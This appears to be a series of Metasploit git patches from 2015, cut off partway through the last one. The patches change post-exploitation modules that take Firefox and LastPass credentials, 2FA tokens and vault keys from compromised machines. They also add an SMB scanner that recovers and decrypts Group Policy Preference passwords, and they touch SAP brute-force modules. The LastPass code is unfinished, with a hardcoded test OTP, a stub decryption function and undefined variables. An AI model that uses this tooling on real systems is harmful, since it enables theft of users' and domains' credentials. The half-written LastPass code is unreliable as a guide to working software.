Msf::Auxiliary end def run() - ctrlurl = #{datastore['CTRL_URL']} + ctrlurl = datastore['CTRL_URL'] soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" content = "<?xml version=\"1.0\"?>" From 7c3e79f72d338558c0175365b432bf13e676dbc2 Mon Sep 17 00:00:00 2001 From: g0tmi1k <have.you.g0tmi1k@gmail.com> Date: Mon, 27 Jul 2015 19:49:06 +0100 Subject: [PATCH 0200/2172] Smarter way to download via meterpreter ...less chance of data crupterion --- modules/post/multi/gather/firefox_creds.rb | 35 ++++++++-------------- 1 file changed, 12 insertions(+), 23 deletions(-) diff --git a/modules/post/multi/gather/firefox_creds.rb b/modules/post/multi/gather/firefox_creds.rb index 3362a0ed56..5903db4316 100644 --- a/modules/post/multi/gather/firefox_creds.rb +++ b/modules/post/multi/gather/firefox_creds.rb @@ -338,35 +338,24 @@ class Metasploit3 < Msf::Post # win: C:\Users\administrator\AppData\Roaming\Mozilla\Firefox\Profiles\tsnwjx4g.default # linux: /root/.mozilla/firefox/tsnwjx4g.default (iceweasel) # osx: /Users/mbp/Library/Application Support/Firefox/Profiles/tsnwjx4g.default - profile = path.scan(/Profiles[\\|\/](.+)$/).flatten[0].to_s - profile = path.scan(/firefox[\\|\/](.+)$/).flatten[0].to_s if profile.empty? + profile = path.scan(/Profiles[\\|\/](.+)\.(.+)$/).flatten[0].to_s + profile = path.scan(/firefox[\\|\/](.+)\.(.+)$/).flatten[0].to_s if profile.empty? session.type == "meterpreter" ? (files = session.fs.dir.foreach(path)) : (files = session.shell_command("ls #{path} 2>/dev/null").split()) files.each do |file| - file.chomp! + file.chomp! if file =~ /^key\d\.db$/ or file =~ /^cert\d\.db$/ or file =~ /^signons.sqlite$/i or file =~ /^cookies\.sqlite$/ or file =~ /^logins\.json$/ - vprint_status("Downloading: #{file}") - if session.type == "meterpreter" - file = path + "\\" + file - fd = session.fs.file.new(file) - begin - until fd.eof? - data = fd.read - loot << data if !data.nil? - end - rescue EOFError - ensure - fd.close - end - else # windows has to be meterpreter, so can be anything else (unix, bsd, linux, osx) - loot = session.shell_command("cat #{path + file}") - end - ext = file.split('.')[2] ext == "txt" ? (mime = "plain") : (mime = "binary") - file = file.split('\\').last - p = store_loot("ff.profile.#{profile}.#{file}", "#{mime}/#{ext}", session, loot, "firefox_#{file}", "#{file} for #{profile}") + vprint_status("Downloading: #{file}") + if session.type == "meterpreter" + p = store_loot("ff.#{profile}.#{file}", "#{mime}/#{ext}", session, "firefox_#{file}") + session.fs.file.download_file(p, path + "\\" + file) + else # windows has to be meterpreter, so can be anything else (unix, bsd, linux, osx) + loot = session.shell_command("cat #{path + file}") + p = store_loot("ff.#{profile}.#{file}", "#{mime}/#{ext}", session, loot, "firefox_#{file}", "#{file} for #{profile}") + end print_good("Downloaded #{file}: #{p.to_s}") end end @@ -526,7 +515,7 @@ Components.utils.import("resource://gre/modules/XPCOMUtils.jsm"); stor_js['content'].each_line do |line| # There is no real substitution if the matching regex has no corresponding patch code if i != 0 and line.sub!(regex[i][0]) do |match| - if not regex[i][1].nil? + if !regex[i][1].nil? vprint_good("[#{x-i+1}/#{x}] Javascript injected - ./components/storage-mozStorage.js") regex[i][1] end From a3365a9c7f8d32b482a80d624182139b64473a4b Mon Sep 17 00:00:00 2001 From: Martin Vigo <martinvigo@gmail.com> Date: Tue, 28 Jul 2015 00:15:08 -0700 Subject: [PATCH 0201/2172] Add key, 2fa, iterations and otp support --- modules/post/multi/gather/lastpass_creds.rb | 319 ++++++++++++++------ 1 file changed, 228 insertions(+), 91 deletions(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index fc01e00cd6..f0d74e40b0 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -42,28 +42,32 @@ class Metasploit3 < Msf::Post return end - lastpass_data = {} #Contains all LastPass info - print_status "Extracting credentials" - lastpass_data = extract_credentials(account_map) + extract_credentials(account_map) print_status "Extracting 2FA tokens" - localstorage_map = build_localstorage_map - lastpass_data = check_localstorage_for_2FA_token(localstorage_map, lastpass_data) unless localstorage_map.empty? + extract_2fa_tokens(account_map) - print_lastpass_data(lastpass_data) + print_status "Extracting encryption keys" + extract_keys(account_map) + + print_status "Extracting vault and iterations" + extract_vault_and_iterations(account_map) + + print_lastpass_data(account_map) end - # Returns a mapping of { Account => { Browser => paths } } + # Returns a mapping of lastpass accounts def build_account_map platform = session.platform profiles = user_profiles - found_dbs_map = {} + account_map = {} profiles.each do |user_profile| account = user_profile['UserName'] browser_path_map = {} + localstorage_path_map = {} case platform when /win/ @@ -73,12 +77,23 @@ class Metasploit3 < Msf::Post 'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0", 'Safari' => "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\Databases\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" } + localstorage_path_map = { + 'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage", + 'Firefox' => "#{user_profile['LocalAppData']}\\LastPass", + 'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Local Storage\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage", + 'Safari' => "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\LocalStorage\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage" + } when /unix|linux/ browser_path_map = { 'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0", 'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox", 'Opera' => "#{user_profile['LocalAppData']}/.config/Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" } + localstorage_path_map = { + 'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage", + 'Firefox' => "#{user_profile['LocalAppData']}/.lastpass", + 'Opera' => "#{user_profile['LocalAppData']}/.config/Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage" + } when /osx/ browser_path_map = { 'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0", @@ -86,18 +101,30 @@ class Metasploit3 < Msf::Post 'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0", 'Safari' => "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" } + localstorage_path_map = { + 'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage", + 'Firefox' => "#{user_profile['LocalAppData']}/LastPass", + 'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage", + 'Safari' => "#{user_profile['AppData']}/Safari/LocalStorage/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage" + } else print_error "Platform not recognized: #{platform}" end - found_dbs_map[account] = {} + account_map[account] = {} browser_path_map.each_pair do |browser, path| + account_map[account][browser] = {} db_paths = find_db_paths(path, browser, account) - found_dbs_map[account][browser] = db_paths unless db_paths.empty? + if db_paths && db_paths.size > 0 + account_map[account][browser]['lp_db_path'] = db_paths + account_map[account][browser]['localstorage_db'] = localstorage_path_map[browser] if client.fs.file.exists?(localstorage_path_map[browser]) || browser == 'Firefox' + else + account_map[account].delete(browser) + end end end - found_dbs_map + account_map end # Returns a list of DB paths found in the victims' machine @@ -251,26 +278,18 @@ class Metasploit3 < Msf::Post begin decrypted_password = decipher.update(Base64.decode64(encrypted_password)) + decipher.final rescue - print_error "Password for #{email} could not be decrypted" + vprint_error "Password for #{email} could not be decrypted" end decrypted_password end - - - - - - def extract_credentials(account_map) - credentials = account_map # All credentials to be decrypted - account_map.each_pair do |account, browser_map| browser_map.each_pair do |browser, paths| - credentials[account][browser] = Hash.new # Get rid of the browser paths + account_map[account][browser]['lp_creds'] = {} if browser == 'Firefox' - paths.each do |path| + paths['lp_db_path'].each do |path| data = read_file(path) loot_path = store_loot( 'firefox.preferences', @@ -285,6 +304,7 @@ class Metasploit3 < Msf::Post ffcreds = firefox_credentials(loot_path) unless ffcreds.blank? ffcreds.each do |creds| + creds[1].blank? ? creds[1] = "NOT_FOUND" : creds[1] = clear_text_password(URI.unescape(creds[0]), URI.unescape(creds[1])) #Decrypt credentials credentials[account][browser][URI.unescape(creds[0])] = [URI.unescape(creds[1])] end else @@ -293,7 +313,7 @@ class Metasploit3 < Msf::Post end else # Chrome, Safari and Opera - paths.each do |path| + paths['lp_db_path'].each do |path| data = read_file(path) loot_path = store_loot( "#{browser.downcase}.lastpass.database", @@ -303,6 +323,7 @@ class Metasploit3 < Msf::Post nil, "#{account}'s #{browser} LastPass database #{path}" ) + account_map[account][browser]['lp_db_loot'] = loot_path # Parsing/Querying the DB db = SQLite3::Database.new(loot_path) @@ -314,70 +335,23 @@ class Metasploit3 < Msf::Post for row in result if row[0] row[1].blank? ? row[1] = "NOT_FOUND" : row[1] = clear_text_password(row[0], row[1]) #Decrypt credentials - credentials[account][browser][row[0]] = [row[1]] + account_map[account][browser]['lp_creds'][row[0]] = {'lp_password' => row[1]} end end end end end end - - credentials - end - - - # Returns a localstorage mapping of { Account => { Browser => paths } } - def build_localstorage_map - platform = session.platform - profiles = user_profiles - found_localstorage_map = {} - - profiles.each do |user_profile| - account = user_profile['UserName'] - browser_path_map = {} - - case platform - when /win/ - browser_path_map = { - 'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage", - 'Firefox' => "#{user_profile['LocalAppData']}\\LastPass", - 'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Local Storage\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage", - 'Safari' => "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\LocalStorage\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage" - } - when /unix|linux/ - browser_path_map = { - 'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage", - 'Firefox' => "#{user_profile['LocalAppData']}/.lastpass", - 'Opera' => "#{user_profile['LocalAppData']}/.config/Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage" - } - when /osx/ - browser_path_map = { - 'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage", - 'Firefox' => "#{user_profile['LocalAppData']}/LastPass", - 'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage", - 'Safari' => "#{user_profile['AppData']}/Safari/LocalStorage/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage" - } - else - print_error "Platform not recognized: #{platform}" - end - - found_localstorage_map[account] = {} - browser_path_map.each_pair do |browser, path| - found_localstorage_map[account][browser] = path if client.fs.file.exists?(path) - end - end - - found_localstorage_map end #Extracts the 2FA token from localStorage - def check_localstorage_for_2FA_token(localstorage_map, lastpass_data) - localstorage_map.each_pair do |account, browser_map| - browser_map.each_pair do |browser, path| + def extract_2fa_tokens(account_map) + account_map.each_pair do |account, browser_map| + browser_map.each_pair do |browser, lp_data| if browser == 'Firefox' - lastpass_data[account][browser].each_pair do |username, data| - path = path + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_ff.sotp" + lastpass_data[account][browser].each_pair do |username, user_data| + path = path + client.fs.file.separator + "lp.suid" data = read_file(path) if client.fs.file.exists?(path) #Read file if it exists data = "DECRYPTION_ERROR" if (data.blank? || data.size != 32) # Verify content loot_path = store_loot( @@ -389,17 +363,18 @@ class Metasploit3 < Msf::Post "Firefox 2FA token file #{path}" ) lastpass_data[account][browser][username] << data + end else # Chrome, Safari and Opera - data = read_file(path) + data = read_file(lp_data['localstorage_db']) loot_path = store_loot( "#{browser.downcase}.lastpass.localstorage", 'application/x-sqlite3', session, data, nil, - "#{account}'s #{browser} LastPass localstorage #{path}" + "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}" ) # Parsing/Querying the DB @@ -409,37 +384,33 @@ class Metasploit3 < Msf::Post "WHERE key = 'lp.uid';" ).flatten - lastpass_data[account][browser].each_pair do |username, data| - token.blank? ? lastpass_data[account][browser][username] << "NOT_FOUND" : lastpass_data[account][browser][username] << token.pack('H*') - end + token.blank? ? account_map[account][browser]['lp_2fa'] = "NOT_FOUND" : account_map[account][browser]['lp_2fa'] = token.pack('H*') end end end - - lastpass_data end #Print all extracted LastPass data - def print_lastpass_data(lastpass_data) + def print_lastpass_data(account_map) lastpass_data_table = Rex::Ui::Text::Table.new( 'Header' => "LastPass data", 'Indent' => 1, - 'Columns' => %w(Account Browser LastPass_Username LastPass_Password, LastPass_2FA) + 'Columns' => %w(Account Browser LP_Username LP_Password LP_2FA LP_Key) ) - lastpass_data.each_pair do |account, browser_map| - browser_map.each_pair do |browser, username_map| - username_map.each_pair do |user, data| - lastpass_data_table << [account, browser, user] + data + account_map.each_pair do |account, browser_map| + browser_map.each_pair do |browser, lp_data| + lp_data['lp_creds'].each_pair do |username, user_data| + lastpass_data_table << [account, browser, username, user_data['lp_password'], lp_data['lp_2fa'], user_data['vault_key']] end end end - unless lastpass_data.empty? + unless account_map.empty? print_good lastpass_data_table.to_s path = store_loot( - "lastpass.creds", + "lastpass.data", "text/csv", session, lastpass_data_table.to_csv, @@ -447,7 +418,173 @@ class Metasploit3 < Msf::Post "LastPass Data" ) end + end + + + def extract_vault_and_iterations(account_map) + account_map.each_pair do |account, browser_map| + browser_map.each_pair do |browser, lp_data| + lp_data['lp_creds'].each_pair do |username, user_data| + if browser == 'Firefox' + path = firefox_map[account][browser] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_key.itr" + data = read_file(path) if client.fs.file.exists?(path) #Read file if it exists + data = "NOT FOUND" if data.blank? # Verify content + lastpass_data[account][browser][username] << data + + else # Chrome, Safari and Opera + db = SQLite3::Database.new(lp_data['lp_db_loot']) + result = db.execute( + "SELECT data FROM LastPassData " \ + "WHERE username_hash = '"+OpenSSL::Digest::SHA256.hexdigest(username)+"' AND type = 'accts'" + ) + + if result.size == 1 && !result[0].blank? + if /iterations=(?<iterations>.*);(?<vault>.*)/ =~ result[0][0] + lp_data['lp_creds'][username]['iterations'] = iterations + loot_path = store_loot( + "#{browser.downcase}.lastpass.vault", + 'text/plain', + session, + vault, + nil, + "#{account}'s #{browser} LastPass Vault #{lp_data['lp_db_loot']}" + ) + lp_data['lp_creds'][username]['vault_loot'] = loot_path + else + lp_data['lp_creds'][username]['iterations'] = 1 + loot_path = store_loot( + "#{browser.downcase}.lastpass.vault", + 'text/plain', + session, + result[0][0], + nil, + "#{account}'s #{browser} LastPass Vault #{lp_data['lp_db_loot']}" + ) + lp_data['lp_creds'][username]['vault_loot'] = loot_path + end + else + lp_data['lp_creds'][username]['iterations'] = "NOT_FOUND" + lp_data['lp_creds'][username]['vault_loot'] = "NOT_FOUND" + end + end + end + end + end + end + + + + + def extract_keys(account_map) + account_map.each_pair do |account, browser_map| + browser_map.each_pair do |browser, lp_data| + lp_data['lp_creds'].each_pair do |username, user_data| + otp, encrypted_key = extract_otp_and_encrypted_key(account, browser, username, lp_data['lp_db_loot']) + #otp_token = OpenSSL::Digest::SHA256.hexdigest( OpenSSL::Digest::SHA256.hexdigest( username + otp ) + otp ) + otp = "7b88275911a8efc3efe50a3bda6ac202" + otpbin = [otp].pack "H*" + otp_token = lastpass_sha256( lastpass_sha256( username + otpbin ) + otpbin ) + lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key(username, otp_token, encrypted_key) + + + end + end + end + end + + + # Returns otp, encrypted_key + def extract_otp_and_encrypted_key(account, browser, username, path) + if browser == 'Firefox' + path = firefox_map[account][browser] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_ff.sotp" + otp = read_file(path) if client.fs.file.exists?(path) #Read file if it exists + otp = "NOT FOUND" if otp.blank? # Verify content + + path = firefox_map[account][browser] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lpall.slps" + encrypted_key = read_file(path) if client.fs.file.exists?(path) #Read file if it exists + encrypted_key = "NOT FOUND" if encrypted_key.blank? # Verify content + data = encrypted_key.split("\r")[0] + return [otp, encrypted_key] + else # Chrome, Safari and Opera + db = SQLite3::Database.new(path) + result = db.execute( + "SELECT type, data FROM LastPassData " \ + "WHERE username_hash = '"+OpenSSL::Digest::SHA256.hexdigest(username)+"' AND type IN ('otp', 'key')" + ) + + if result.size == 2 + if result[0][0] == "otp" + return result[0][1], result[1][1] + else + return result[1][1], result[0][1] + end + end + + return "", "" + end + end + + + def decrypt_vault_key(username, token, encrypted_key) + return "adecryptionkey" end + + # LastPass does some preprocessing (UTF8) when doing a SHA256 on special chars (binary) + def lastpass_sha256(input) + output = "" + + input.split("").each do |char| + digit = char.ord + if (digit <= 128) + output += digit.chr + else + output += (digit >> 6 | 192).chr + output += (digit >> 6 & 63 | 128).chr + output += (digit & 63 | 128).chr + end + end + + #Nasty hack to switch Windows /r/n for /n + output = output.delete 130.chr+131.chr + output << 130.chr + + return OpenSSL::Digest::SHA256.hexdigest(output) + end + + + def lastpass_sha256_test(input) + input = "7b88275911a8efc3efe50a3bda6ac202" + input = [input].pack "H*" + output = "" + #inputbin = [input].pack "H*" + puts input + input.split("").each do |char| + digit = char.ord + if (digit <= 128) + output += digit.chr + else + output += (digit >> 6 | 192).chr + output += (digit >> 6 & 63 | 128).chr + output += (digit & 63 | 128).chr + end + + end + + input.split("").each do |char| + puts char.ord + end + puts OpenSSL::Digest::SHA256.hexdigest(output) + #return + + #Nasty hack to switch Windows /r/n for /n + #output = output.delete 130.chr+131.chr + #output << 130.chr + + return OpenSSL::Digest::SHA256.hexdigest(output) + end + + + end From fafbc4db3f73e46df48deae207cacd6ff4ae84bf Mon Sep 17 00:00:00 2001 From: Josh Abraham <jabra@spl0it.org> Date: Tue, 28 Jul 2015 15:21:33 -0400 Subject: [PATCH 0202/2172] GPP enumeration via an AUX module --- modules/auxiliary/scanner/smb/smb_enum_gpp.rb | 216 ++++++++++++++++++ 1 file changed, 216 insertions(+) create mode 100644 modules/auxiliary/scanner/smb/smb_enum_gpp.rb diff --git a/modules/auxiliary/scanner/smb/smb_enum_gpp.rb b/modules/auxiliary/scanner/smb/smb_enum_gpp.rb new file mode 100644 index 0000000000..4342c6b645 --- /dev/null +++ b/modules/auxiliary/scanner/smb/smb_enum_gpp.rb @@ -0,0 +1,216 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/parser/group_policy_preferences' + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client::Authenticated + include Msf::Exploit::Remote::DCERPC + + # Exploit mixins should be called first + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + # Aliases for common classes + SIMPLE = Rex::Proto::SMB::Client + XCEPT = Rex::Proto::SMB::Exceptions + CONST = Rex::Proto::SMB::Constants + + def initialize + super( + 'Name' => 'SMB Group Policy Preference Saved Passwords Enumeration', + 'Description' => %Q{ + This module enumerates files from target domain controllers and + connects to them via SMB. It then looks for Group Policy Preference XML + files containing local user accounts and passwords and decrypts them + using Microsofts public AES key. + + Tested on Win2k8 R2 DC. + }, + 'Author' => + [ + 'Joshua D. Abraham <jabra[at]praetorian.com>', + ], + 'References' => + [ + ['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'], + ['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'], + ['URL', 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx'], + ['URL', 'https://labs.portcullis.co.uk/blog/are-you-considering-using-microsoft-group-policy-preferences-think-again/'], + ['MSB', 'MS14-025'] + ], + 'License' => MSF_LICENSE + ) + register_options([ + OptString.new('SMBSHARE', [true, 'The name of the share on the server', 'SYSVOL']), + OptString.new('RPORT', [true, 'The Target port', 445]), + OptBool.new('STORE', [false, 'Store the enumerated files in loot.', true]), + ], self.class) + end + + def check_path(ip,path) + vprint_status("Trying to download \\\\#{ip}\\#{path}...") + begin + if (fd = simple.open("\\#{path}", 'ro')) + fd.close + print_good "Found Policy Share on #{ip}" + smb_download(ip,path) + end + rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e + case e.get_error(e.error_code) + when "STATUS_FILE_IS_A_DIRECTORY" + print_good("Directory FOUND: \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path}") + when "STATUS_OBJECT_NAME_NOT_FOUND" + vprint_error("Object \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path} NOT found!") + when "STATUS_OBJECT_PATH_NOT_FOUND" + vprint_error("Object PATH \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path} NOT found!") + when "STATUS_ACCESS_DENIED" + vprint_error("Host #{ip} reports access denied.") + when "STATUS_BAD_NETWORK_NAME" + vprint_error("Host #{ip} is NOT connected to #{datastore['SMBDomain']}!") + when "STATUS_INSUFF_SERVER_RESOURCES" + vprint_error("Host #{ip} rejected with insufficient resources!") + when "STATUS_OBJECT_NAME_INVALID" + vprint_error("opening \\#{path} bad filename") + else + return + end + end + end + + def report_creds(ip,user, password, disabled) + service_data = { + address: ip, + port: 445, + protocol: "tcp", + service_name: "smb", + workspace_id: myworkspace_id + } + + new_user = user.sub(/\s+.*/,'') + first, rest = new_user.split(/\\/) + if first and rest + domain = first + user = rest + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: user, + private_data: password, + private_type: :password, + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: domain, + } + else + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: new_user, + private_data: password, + private_type: :password + } + end + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + access_level: "User", + status: Metasploit::Model::Login::Status::UNTRIED + } + + create_credential_login(login_data.merge(service_data)) + end + + def parse_xml(ip,path,xmlfile) + mxml = xmlfile[:xml] + print_status "Parsing file: \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path}" + filetype = File.basename(xmlfile[:path].gsub("\\","/")) + results = Rex::Parser::GPP.parse(mxml) + tables = Rex::Parser::GPP.create_tables(results, filetype, xmlfile[:domain], xmlfile[:dc]) + tables.each do |table| + print_good table.to_s + end + results.each do |result| + if datastore['STORE'] + stored_path = store_loot('windows.gpp.xml', 'text/plain',ip, xmlfile[:xml], filetype, xmlfile[:path]) + print_status("XML file saved to: #{stored_path}") + end + + report_creds(ip,result[:USER], result[:PASS], result[:DISABLED]) + end + + end + + def smb_download(ip,path) + vprint_status("Downloading #{path}...") + data = '' + begin + fd = simple.open("\\#{path}", 'ro') + data = fd.read + fd.close + end + spath = path.split('\\') + retobj = { + :dc => ip, + :path => path, + :xml => data + } + retobj[:domain] = spath[1] + + parse_xml(ip,path,retobj) if retobj + + fname = path.split("\\")[-1] + if datastore['STORE'] + path = store_loot("smb.shares.file", "application/octet-stream",ip, data, fname) + print_good("#{fname} saved as: #{path}") + end + end + + def run_host(ip) + print_status("Connecting to the server...") + begin + connect() + smb_login() + print_status("Mounting the remote share \\\\#{ip}\\#{datastore['SMBSHARE']}'...") + self.simple.connect("\\\\#{ip}\\#{datastore['SMBSHARE']}") + + root_listing = self.simple.client.find_first("*") + corpdomain = '' + root_listing.each_pair do |key,val| + next if key == '.' or key == '..' + corpdomain = key + end + + subfolder_listing = self.simple.client.find_first("#{corpdomain}\\Policies\\*") + subfolders = [] + subfolder_listing.each_pair do |key,val| + next if key == '.' or key == '..' + subfolders << key + end + + subfolders.each do |i| + i = "#{corpdomain}\\Policies\\#{i}" + check_path(ip,"\\#{i}\\MACHINE\\Preferences\\Groups\\Groups.xml") + check_path(ip,"\\#{i}\\USER\\Preferences\\Groups\\Groups.xml") + check_path(ip,"\\#{i}\\MACHINE\\Preferences\\Services\\Services.xml") + check_path(ip,"\\#{i}\\USER\\Preferences\\Printers\\Printers.xml") + check_path(ip,"\\#{i}\\USER\\Preferences\\Drives\\Drives.xml") + check_path(ip,"\\#{i}\\MACHINE\\Preferences\\Datasources\\DataSources.xml") + check_path(ip,"\\#{i}\\USER\\Preferences\\Datasources\\DataSources.xml") + check_path(ip,"\\#{i}\\MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml") + check_path(ip,"\\#{i}\\USER\\Preferences\\ScheduledTasks\\ScheduledTasks.xml") + end + + disconnect + + rescue ::Exception => e + print_error("#{rhost}: #{e.class} #{e}") + ensure + disconnect + end + end +end From 27e5557b6784b5b6f3d2a8ad500058a699daa5b8 Mon Sep 17 00:00:00 2001 From: Josh Abraham <jabra@spl0it.org> Date: Tue, 28 Jul 2015 15:29:23 -0400 Subject: [PATCH 0203/2172] set port using rport instead of only 445 --- modules/auxiliary/scanner/smb/smb_enum_gpp.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/smb/smb_enum_gpp.rb b/modules/auxiliary/scanner/smb/smb_enum_gpp.rb index 4342c6b645..6c31a13522 100644 --- a/modules/auxiliary/scanner/smb/smb_enum_gpp.rb +++ b/modules/auxiliary/scanner/smb/smb_enum_gpp.rb @@ -85,7 +85,7 @@ class Metasploit3 < Msf::Auxiliary def report_creds(ip,user, password, disabled) service_data = { address: ip, - port: 445, + port: rport, protocol: "tcp", service_name: "smb", workspace_id: myworkspace_id From 0f4b2e422690eb39fa1c14b1c440cf119521dff3 Mon Sep 17 00:00:00 2001 From: Josh Abraham <jabra@spl0it.org> Date: Tue, 28 Jul 2015 15:31:51 -0400 Subject: [PATCH 0204/2172] description update --- modules/auxiliary/scanner/smb/smb_enum_gpp.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/smb/smb_enum_gpp.rb b/modules/auxiliary/scanner/smb/smb_enum_gpp.rb index 6c31a13522..715b9d4f9b 100644 --- a/modules/auxiliary/scanner/smb/smb_enum_gpp.rb +++ b/modules/auxiliary/scanner/smb/smb_enum_gpp.rb @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary 'Description' => %Q{ This module enumerates files from target domain controllers and connects to them via SMB. It then looks for Group Policy Preference XML - files containing local user accounts and passwords and decrypts them + files containing local/domain user accounts and passwords and decrypts them using Microsofts public AES key. Tested on Win2k8 R2 DC. From 54c5c6ea38199b09cfd358bb0aa6f9edcd3445bc Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Wed, 29 Jul 2015 14:31:35 -0500 Subject: [PATCH 0205/2172] Another update --- .../scanner/sap/sap_soap_bapi_user_create1.rb | 38 ++++++++++-- .../scanner/sap/sap_soap_rfc_brute_login.rb | 43 +++++++++++--- .../scanner/sap/sap_web_gui_brute_login.rb | 59 +++++++++++++------ .../scanner/ssh/cerberus_sftp_enumusers.rb | 27 ++++++--- .../auxiliary/scanner/ssh/ssh_enumusers.rb | 27 ++++++--- modules/auxiliary/server/capture/http.rb | 42 ++++++++++--- modules/auxiliary/server/capture/mysql.rb | 44 ++++++++++---- .../unix/webapp/vbulletin_vote_sqli_exec.rb | 26 ++++++++ .../auxiliary/test/report_auth_info.rb | 49 +++++++++++++++ 9 files changed, 290 insertions(+), 65 deletions(-) diff --git a/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb b/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb index e3398ad301..fe6c3acb6d 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb @@ -52,6 +52,32 @@ class Metasploit4 < Msf::Auxiliary ], self.class) end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def run_host(ip) data = '<?xml version="1.0" encoding="utf-8" ?>' data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">' @@ -99,12 +125,12 @@ class Metasploit4 < Msf::Auxiliary else print_good("[SAP] #{ip}:#{rport} - User '#{datastore['BAPI_USER']}' with password '#{datastore['BAPI_PASSWORD']}' created") report_auth_info( - :host => ip, - :port => rport, - :sname => "sap", - :user => "#{datastore['BAPI_USER']}", - :pass => 